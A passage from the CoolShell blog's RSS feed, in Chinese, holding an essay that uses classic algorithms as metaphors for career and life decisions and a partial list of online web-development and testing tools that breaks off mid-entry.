src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8883.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>192</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序算法与人生选择</title>\n\t\t<link>https://coolshell.cn/articles/8790.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8790.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 28 Dec 2012 01:00:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Job]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8790</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>每年一到要找工作的时候，我就能收到很多人给我发来的邮件，总是问我怎么选择他们的offer，去腾讯还是去豆瓣，去外企还是去国内的企业，去创业还是去考研，来北京还是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8790.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright  wp-image-8797\" src=\"https://coolshell.cn/wp-content/uploads/2012/12/choice.jpg\" alt=\"\" width=\"281\" height=\"207\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/12/choice.jpg 402w, https://coolshell.cn/wp-content/uploads/2012/12/choice-300x220.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/12/choice-368x270.jpg 368w\" sizes=\"(max-width: 281px) 100vw, 281px\" />每年一到要找工作的时候，我就能收到很多人给我发来的邮件，总是问我怎么选择他们的offer，去腾讯还是去豆瓣，去外企还是去国内的企业，去创业还是去考研，来北京还是回老家，该不该去创新工场？该不该去thoughtworks？……等等，等等。今年从7月份到现在，我收到并回复了60多封这样的邮件。我更多帮他们整理思路，帮他们明白自己最想要的是什么。（注：我以后不再回复类似的邮件了）。</p>\n<p>我深深地发现，对于我国这样从小被父母和老师安排各种事情长大的人，当有一天，父母和老师都跟不上的时候，我们几乎完全不知道怎么去做选择。而我最近也离开了亚马逊，换了一个工作。又正值年底，就像去年的那篇《<a title=\"三个事和三个问题\" href=\"https://coolshell.cn/articles/6142.html\" target=\"_blank\">三个故事和三个问题</a>》一样，让我想到写一篇这样的文章。</p>\n<h4>几个例子</h4>\n<p>当我们在面对各种对选择的影响因子的时候，如：城市，公司规模，公司性质，薪水，项目，户口，技术，方向，眼界…… 你总会发现，你会在几个公司中纠结一些东西，举几个例子：</p>\n<ul>\n<li>某网友和我说，他们去上海腾讯，因为腾讯的规模很大，但却发现薪水待遇没有豆瓣高（低的还不是一点），如果以后要换工作的话，起薪点直接关系到了以后的高工资。我说那就去豆瓣吧，他说豆瓣在北京，污染那么严重，又没有户口，生存环境不好。我说去腾讯吧，他说腾讯最近组织调整，不稳定。我说那就去豆瓣吧，慢公司，发展很稳当。他说，豆瓣的盈利不清楚，而且用Python，自己不喜欢。我说，那就去腾讯吧，……</li>\n</ul>\n<ul>\n<li>还有一网友和我说，他想回老家，因为老家的人脉关系比较好，能混得好。但又想留在大城市，因为大城市可以开眼界。</li>\n</ul>\n<p><span id=\"more-8790\"></span></p>\n<ul>\n<li>另一网友和我说，他想进外企，练练英语，开开眼界，但是又怕在外企里当个螺丝钉，想法得不到实施。朋友拉他去创业，觉得创业挺好的，锻炼大，但是朋友做的那个不知道能不能做好。</li>\n</ul>\n<ul>\n<li>还有一网友在创新工场的某团队和考研之间抉择，不知道去创新工场行不行，觉得那个项目一般，但是感觉那个团队挺有激情的，另一方面觉得自己的学历还不够，读个研应该能找到更好的工作。</li>\n</ul>\n<ul>\n<li>还有一些朋友问题我应该学什么技术？不应该学什么技术？或是怎么学会学得最快，技术的路径应该是什么？有的说只做后端不做前端，有的说，只做算法研究，不做工程，等等，等等。因为他们觉得人生有限，术业有专攻。</li>\n</ul>\n<ul>\n<li>等等，等等……</li>\n</ul>\n<p>我个人觉得，如果是非计算机科班出生的人不会做选择，不知道怎么走也罢了，但是我们计算机科班出生的人是学过算法的，<strong>懂算法的人应该是知道怎么做选择的</strong>。</p>\n<h4></h4>\n<h4>排序算法</h4>\n<p>你不可能要所有的东西，所以你只能要你最重要的东西，你要知道什么东西最重要，你就需要对你心内的那些欲望和抱负有清楚的认识，不然，你就会在纠结中度过。</p>\n<p>所以，在选择中纠结的人有必要参考一下排序算法。</p>\n<ul>\n<li>首先，你最需要参考的就是“冒泡排序”——这种算法的思路就是每次冒泡出一个最大的数。所以，你有必要问问你自己，面对那些影响你选择的因子，如果你只能要一个的话，你会要哪个？而剩下的都可以放弃。于是，当你把最大的数，一个一个冒泡出来的时候，并用这个决策因子来过滤选项的时候，你就能比较容易地知道知道你应该选什么了。<strong>这个算法告诉我们，人的杂念越少，就越容易做出选择。</strong></li>\n</ul>\n<ul>\n<li>好吧，可能你已茫然到了怎么比较两个决策因子的大小，比如：你分不清楚，工资&gt;业务前景吗？业务前景&gt;能力提升吗？所以你完全没有办法进行冒泡法。那你，你不妨参考一个“快速排序”的思路——这个算法告诉我们，我们一开始并不需要找到最大的数，我们只需要把你价值观中的某个标准拿出来，然后，把可以满足这个价值的放到右边，不能的放到左边去。比如，你的标准是：工资大于5000元&amp;&amp;业务前景长于3年的公司，你可以用这个标准来过滤你的选项。然后，你可以再调整这个标准再继续递归下去。<strong>这个算法告诉我们，我们的选择标准越清晰，我们就越容易做出选择</strong>。</li>\n</ul>\n<p>这是排序算法中最经典的两个算法了，面试必考。相信你已烂熟于心中了。所以，我觉得你把这个算法应用于你的人生选择也应该不是什么问题。关于在于，你是否知道自己想要的是什么？</p>\n<p>排序算法的核心思想就是，<strong>让你帮助你认清自己最需要的是什么，认清自己最想要的是什么，然后根据这个去做选择</strong>。</p>\n<h4>贪婪算法</h4>\n<p>所谓贪婪算法，是一种在每一步选择中都采取在当前状态下最好或最优（即最有利）的选择（注意：是当前状态下），从而希望导致结果是最好或最优的算法。贪婪算法最经典的一个例子就是<a title=\"Huffman 编码压缩算法\" href=\"https://coolshell.cn/articles/7459.html\" target=\"_blank\">哈夫曼编码</a>。</p>\n<p>对于人类来说，一般人在行为处事的时候都会使用到贪婪算法，</p>\n<ul>\n<li>比如在找零钱的时候，如果要找补36元，我们一般会按这样的顺序找钱：20元，10元，5元，1元。</li>\n</ul>\n<ul>\n<li>或者我们在过十字路口的时候，要从到对角线的那个街区时，我们也会使用贪婪算法——哪边的绿灯先亮了我们就先过到那边去，然后再转身90度等红灯再过街。</li>\n</ul>\n<p>这样的例子有很多。对于选择中，大多数人都会选用贪婪算法，因为这是一个比较简单的算法，未来太复杂了，只能走一步看一步，在当前的状况下做出最利于自己的判断和选择即可。</p>\n<p>有的人会贪婪薪水，有的人会贪婪做的项目，有的人会贪婪业务，有的人会贪婪职位，有的人会贪婪自己的兴趣……这些都没什么问题。贪婪算法并没有错，虽然不是全局最优解，但其可以让你找到局部最优解或是次优解。其实，有次优解也不错了。<strong>贪婪算法基本上是一种急功近利的算法，但是并不代表这种算法不好，如果贪婪的是一种长远和持续，又未尝不可呢？</strong>。</p>\n<h4>动态规划</h4>\n<p>但是我们知道，对于大部分的问题，贪婪法通常都不能找出最优解，因为他们一般没有测试所有可能的解。<strong>因为贪婪算法是一种短视的行为，只会跟据当前的形式做判断，也就是过早做决定</strong>，因而没法达到最佳解。</p>\n<p>动态规划和贪婪算法的最大不同是，贪婪算法做出选择，不能在过程优化。动态规划则会保存以前的运算结果，并根据以前的结果对当前进行选择，会动态优化功能。</p>\n<p>动态规划算法至少告诉我们两个事：</p>\n<p style=\"padding-left: 30px;\">1）<strong>承前启后非常重要，</strong>当你准备去做遍历的时候，你的上次的经历不但能开启你以后的经历，而且还能为后面的经历所用。你的每一步都没有浪费。</p>\n<p style=\"padding-left: 30px;\">2）<strong>是否可以回退也很重要</strong>。这意思是——如果你面前有两个选择，一个是A公司一个是B公司，如果今天你选了A公司，并不是你完全放弃了B公司。而是，你知道从A公司退出来去B公司，会比从B公司退出来去A公司要容易一些。</p>\n<p>比如说：你有两个offer，一个是Yahoo，一个是Baidu，上述的第一点会让我们思考，我以前的特长和能力更符合Yahoo还是Baidu？而Yahoo和Baidu谁能给我开启更大的平台？上述的第二点告诉我们，是进入Yahoo后如果没有选好，是否还能再选择Baidu公司？还是进入Baidu公司后能容易回退到Yahoo公司？</p>\n<h4><b>Dijkstra</b>最短路径</h4>\n<p>最短路径是一个Greedy + DP的算法。相当经典。这个算法的大意如下：</p>\n<p style=\"padding-left: 30px;\">1）在初始化的时候，所有的结点都和我是无穷大，默认是达不到的。</p>\n<p style=\"padding-left: 30px;\">2）从离自己最近的结点开始贪婪。</p>\n<p style=\"padding-left: 30px;\">3）走过去，看看又能到达什么样的结点，计算并更新到所有目标点的距离。</p>\n<p style=\"padding-left: 30px;\">4）再贪婪与原点最短的结点，如此反复。</p>\n<p>这个算法给我们带来了一些这样的启示：</p>\n<ul>\n<li>有朋友和我说过他想成为一个架构师，或是某技术领域的专家，并会踏踏实实的向这个目标前进，永不放弃。我还是鼓励了他，但我也告诉他了这个著名的算法，我说，这个算法告诉你，架构师或某领域的专家对你来说目前的距离是无穷大，他们放在心中，先看看你能够得着的东西。<strong>所谓踏实，并不是踏踏实实追求你的目标，而是踏踏实实把你够得着看得见的就在身边的东西干好。</strong>我还记得我刚参加工作，从老家出来的时候，从来没有想过要成为一个技术牛人，也从来没有想过我的博客会那么的有影响力，在做自己力所能及，看得见摸得着的事情，我就看见什么技术就学什么，学着学着就知道怎么学更轻松，怎么学更扎实，这也许就是我的最短路径。</li>\n</ul>\n<ul>\n<li>有很多朋友问我要不要学C++，或是问我学Python还是学Ruby，是不是不用学前端，等等。这些朋友告诉我，他们不可能学习多个语言，学了不用也就忘了，而且术业有专攻。这并没有什么不对的，只是我个人觉得，学习一个东西没有必要只有两种状态，一种是不学，另一种是精通。了解一个技术其实花不了多少时间，我学C++的目的其实是为了更懂Java，学TCP/IP协议其实是为了更懂Socket编程，很多东西都是连通和相辅相成的，学好了C/C++/Unix/TCP等这些基础技术后，我发现到达别的技术路径一下缩短了（这就是为什么<a title=\"Go 语言简介（下）— 特性\" href=\"https://coolshell.cn/articles/8489.html\" target=\"_blank\">我用两天时间就可以了解Go语言的原因</a>）。<strong>这就好像这个算法一样，算法效率不高，也许达到你的目标，你在一开始花了很长时间，遍历了很多地方，但是，这也许这就是你的最短路径（</strong>比起你达不到要好得多<strong>）</strong>。</li>\n</ul>\n<h4>算法就是Trade-Off</h4>\n<p>你根本没有办法能得到所有你想得到的东西，<strong>任何的选择都意味着放弃</strong>——<strong>当你要去获得一个东西的时候，你总是需要放弃一些东西</strong>。<strong>人生本来就是一个跷跷板，一头上，另一头必然下</strong>。这和我们做软件设计或算法设计一样，用时间换空间，用空间换时间，还有CAP理论，总是有很多的Trade-Off，正如这个短语的原意一样——<strong>你总是要用某种东西去交易某种东西</strong>。</p>\n<p>我们都在用某种东西在交易我们的未来，有的人用自己的努力，有的人用自己的思考，有的人用自己的年轻，有的人用自己的自由，有的人用自己的价值观，有的人用自己的道德…… …… 有的人在交换金钱，有的人在交换眼界，有的人在交换经历，有的人在交换地位，有的人在交换能力，有的人在交换自由，有的人在交换兴趣，有的人在交换虚荣心，在交换安逸享乐…… ……</p>\n<p><strong>每个人有每个人的算法，每个算法都有每个算法的purpose，就算大家在用同样的算法，但是每个人算法中的那些变量、开关和条件都不一样，得到的结果也不一样。我们就是生活在Matrix里的一段程序，我们每个人的算法决定着我们每个人的选择，我们的选择决定了我们的人生</strong>。</p>\n<p style=\"text-align: center;\"><span style=\"color: #ff0000; font-size: 14px;\" data-mce-mark=\"1\"><strong>2012年就要过去了，祝大家新年快乐！</strong></span></p>\n<figure id=\"attachment_8798\" aria-describedby=\"caption-attachment-8798\" style=\"width: 640px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-8798 \" src=\"https://coolshell.cn/wp-content/uploads/2012/12/life_of_pi_.jpg\" alt=\"插图来自电影 Life of Pi\" width=\"640\" height=\"275\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/12/life_of_pi_.jpg 640w, https://coolshell.cn/wp-content/uploads/2012/12/life_of_pi_-300x128.jpg 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" /><figcaption id=\"caption-attachment-8798\" class=\"wp-caption-text\">插图来自电影 Life of Pi</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17583.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/12/people-150x150.jpg\" alt=\"技术人员的发展之路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17583.html\" class=\"wp_rp_title\">技术人员的发展之路</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" alt=\"为什么我反对纯算法面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_title\">为什么我反对纯算法面试题</a></li><li ><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" alt=\"三个事和三个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_title\">三个事和三个问题</a></li><li ><a href=\"https://coolshell.cn/articles/3231.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"你和你的工作\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3231.html\" class=\"wp_rp_title\">你和你的工作</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8790.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>220</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Web工程师的工具箱</title>\n\t\t<link>https://coolshell.cn/articles/8767.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8767.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 18 Dec 2012 16:04:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[AutoTools]]></category>\n\t\t<category><![CDATA[HTTP]]></category>\n\t\t<category><![CDATA[http load]]></category>\n\t\t<category><![CDATA[test]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8767</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文出自Ivan Zuzak 的《The Web engineer&#8217;s online toolbox》，作者给了一个各种可以用来进行开发、测试、调试...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8767.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8767.html\">Web工程师的工具箱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright  wp-image-8771\" alt=\"Web Toolbox\" src=\"https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox.jpg\" width=\"318\" height=\"196\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox.jpg 397w, https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-300x185.jpg 300w\" sizes=\"(max-width: 318px) 100vw, 318px\" />本文出自<a href=\"http://ivanzuzak.info/\" target=\"_blank\">Ivan Zuzak</a> 的《<a href=\"http://ivanzuzak.info/2012/11/18/the-web-engineers-online-toolbox.html\" target=\"_blank\">The Web engineer&#8217;s online toolbox</a>》，作者给了一个各种可以用来进行开发、测试、调试以及文档编排的在线工具集。（注：我发现CSDN上已经有了这篇文章《<a href=\"http://www.csdn.net/article/2012-11-19/2811992\" target=\"_blank\">Web工程师必备的18款工具</a>》，但可惜的是这篇文章并不全（原文后来被更新到了33个工具），而且其中并没有包括原文评论中出现的所有工具，所以，我一并补全了更出来，一共40多个工具）</p>\n<h4><strong>Web工程师在线工具箱</strong></h4>\n<ul>\n<li><a href=\"http://requestb.in/\" target=\"_blank\"><strong>RequestBin</strong></a><strong>：</strong>允许你创建一个URL，利用这款工具进行收集请求，然后通过个性化方式进行检查。</li>\n</ul>\n<ul>\n<li><a href=\"http://hurl.it/\" target=\"_blank\"><strong>Hurl</strong></a><strong>：</strong>发出HTTP请求，输入URL，设置标题，查看响应，最后分享给其他人。类似的工具有：<a href=\"http://resttesttest.com/\" target=\"_blank\">REST test test</a>, <a href=\"https://apigee.com/console/others\" target=\"_blank\">Apigee console</a>.。</li>\n</ul>\n<ul>\n<li><a href=\"http://httpbin.org/\" target=\"_blank\"><strong>Httpbin</strong></a><strong>：</strong>HTTP请求&amp;响应服务，涵盖所有的HTTP方案（例如不同的HTTP verbs、状态代码和重定向）。类似工具：<a href=\"http://ivanzuzak.info/urlecho/\">UrlEcho</a>。</li>\n</ul>\n<ul>\n<li><a href=\"http://redbot.org/\" target=\"_blank\"><strong>REDbot</strong></a><strong>：</strong>这是一个机器人工具，帮助用户检查HTTP资源，可查看它的操作情况，指出常见的问题并提出改进。类似工具：<a href=\"http://zamez.org/httplint\">HTTP lint</a>。</li>\n</ul>\n<ul>\n<li><a href=\"http://webgun.io/\" target=\"_blank\"><strong>WebGun</strong></a><strong>：</strong>用于创建webhooks模板的API。类似工具：<a href=\"https://github.com/izuzak/urlreq\">UrlReq</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"https://www.webscript.io/\">Webscript</a> </strong> 自选一个url，填一段Lua代码，就能对访问做各种respond，还可以主动运行任务，cron job等等&#8230;</li>\n</ul>\n<p><span id=\"more-8767\"></span></p>\n<ul>\n<li><strong><a href=\"http://www.clickhooks.com/\">ClickHooks</a> </strong>这是一个短网址服务， 当用户访问了你的这个短网址跳转链接，服务器会通过HTTP POST的方式回调你的一个URL。这也是一种WebHooks方式。（陈皓注：所谓WebHooks，你可以理解为一种trigger，或是一种handler，比如当你你提交了代码，会调用某个URL链接以POST的方式告诉那个网站你提交了代码（如：发一个twitter 之类的，或是通知某个bug tracker系统））</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://mailhooks2.appspot.com/\">MailHooks</a> </strong>让你可以通过HTTP POST方法收电子邮件（又叫WebHooks），你可以为你的一个邮件地址创建N多的hooks，当一个邮件收到了，可以把这个邮件以POST的方式发到你的某个URL上去。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://a.quil.la/\">Quilla</a> </strong>提供一个人们可以找到你的短网站服务，在那里，当人们提交到你的短网址上的请求会给你发邮件。好像是一种HTTP到SMTP的代理服务。</li>\n</ul>\n<ul>\n<li><a href=\"http://apify.heroku.com/resources\" target=\"_blank\"><strong>Apify</strong></a><strong>：</strong>公开锁定在HTML文档没有任何API数据集。APIfy从结构标记中提取数据，并将其转换为JSON APIs。</li>\n</ul>\n<ul>\n<li><a href=\"http://validator.w3.org/unicorn/\" target=\"_blank\"><strong>Unicorn</strong></a><strong>：</strong>W3C统一的验证程序，可在各种流行的HTML和CSS验证器中执行各种检查。类似工具：<a href=\"http://lint.brihten.com/html/\">HTML lint</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://jsonlint.com/\">JSONLint</a> </strong>JSON 格式验证程序</li>\n</ul>\n<ul>\n<li><a href=\"http://validator.w3.org/feed/\" target=\"_blank\"><strong>Feed validator</strong></a><strong>：</strong>支持W3C验证，为RSS和ATOM提供阅读源。</li>\n</ul>\n<ul>\n<li><a href=\"http://validator.w3.org/checklink\" target=\"_blank\"><strong>Link checker</strong></a><strong>：</strong>从网站中提取链接（递归）并确保没有链接被定义为两次（重复定义），所有的链接被引用并警告HTTP重新定向。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.host-tracker.com/\" target=\"_blank\"><strong>Host tracker</strong></a><strong>：</strong>通过分布式ping/跟踪检查、定期监测、邮件/SMS /IM通知和统计进行网站检测性服务。类似工具有：<a href=\"http://www.downforeveryoneorjustme.com/\">Down for everyone or just me</a>, <a href=\"http://tools.pingdom.com/ping/\">Pimgdom ping service</a></li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.viewdns.info/\">ViewDNS</a> </strong>一组 DNS 和网络工具，如：反向IP解析，DNS记录查询或traceroute之类的。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.necrohost.com/\">Necrohost</a>  </strong>一个URL列表来模拟不同网络链接的问题，如：响应慢，无法解析DNS，或是404什么的。</li>\n</ul>\n<ul>\n<li><strong><a href=\"https://code.google.com/p/mirrorrr/\">Mirrorrr</a>  </strong>一个可以用来镜像某网页的应用（经常被国人用来搞Web 代理来翻墙）。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://certlogik.com/ssl-checker/\">SSL Checker</a>  </strong>测试SSL认证</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://certlogik.com/decoder/\">CSR/Cert decoder</a>  </strong>对你的CSR和SSL认证decode检查。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://loadzen.com/\">Loadzen</a>  </strong>Web压力测试工具（注：以前酷壳介绍过《<a href=\"https://coolshell.cn/articles/2589.html\" target=\"_blank\">十个Web压力测试工具</a>》）</li>\n</ul>\n<ul>\n<li><a href=\"http://tools.pingdom.com/fpt/\" target=\"_blank\"><strong>Pingdom Full page test</strong></a><strong>：</strong>允许用户测试网页记载时间、分析、监控，发现瓶颈并导出HAR格式的结果。类似工具：<a href=\"http://www.webpagetest.org/\">Web page test</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"https://developers.google.com/speed/pagespeed/insights\">Google PageSpeed Insights</a> </strong>Analyzes the content of a web page, then generates suggestions to make that page faster.</li>\n</ul>\n<ul>\n<li><a href=\"http://www.softwareishard.com/har/viewer/\" target=\"_blank\"><strong>HAR viewer</strong></a><strong>：</strong>通过 HTTP 追踪工具创建可视化的HTTP Archive (HAR)日志文件。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.corsproxy.com/\" target=\"_blank\"><strong>CORS proxy</strong></a><strong>：</strong>通常会由于相同的域而被阻止，而这款工具在网站上允许JavaScript代码访问其他域上的资源，</li>\n</ul>\n<ul>\n<li><a href=\"https://browserling.com/\" target=\"_blank\"><strong>Browserling</strong></a><strong>：</strong>支持使用所有主要浏览器以及各种版本进行交互式跨浏览器测试。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.websocket.org/echo.html\" target=\"_blank\"><strong>WebSocket Echo Test</strong></a><strong>:</strong> 从浏览器定向到WebSocket echo服务器进行WebSocket连接测试。</li>\n</ul>\n<ul>\n<li><a href=\"http://developer.yahoo.com/yql/\" target=\"_blank\"><strong>YQL</strong></a><strong>：</strong>极富表现力类似于SQL的语言，允许您查询、筛选和联接数据跨Web服务。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://webshell.io/\">Webshell</a> </strong>使用命令行脚本的方式来调用一些Web API。</li>\n</ul>\n<ul>\n<li><a href=\"http://pipes.yahoo.com/pipes/\" target=\"_blank\"><strong>Yahoo Pipes</strong></a><strong>：</strong>一个图形化的用户界面，用于创建数据混搭，生成聚合Web源，Web页面和其他服务。</li>\n</ul>\n<ul>\n<li><a href=\"http://apiary.io/\" target=\"_blank\"><strong>Apiary</strong></a><strong>：</strong>语言和工具用于生成REST API文档及进行交互式督查。类似工具：<a href=\"http://swagger.wordnik.com/\">Swagger</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://jsfiddle.net/\">JSFiddle</a>  </strong>一个在线的代码编辑可以让你编译一些HTML, CSS 和 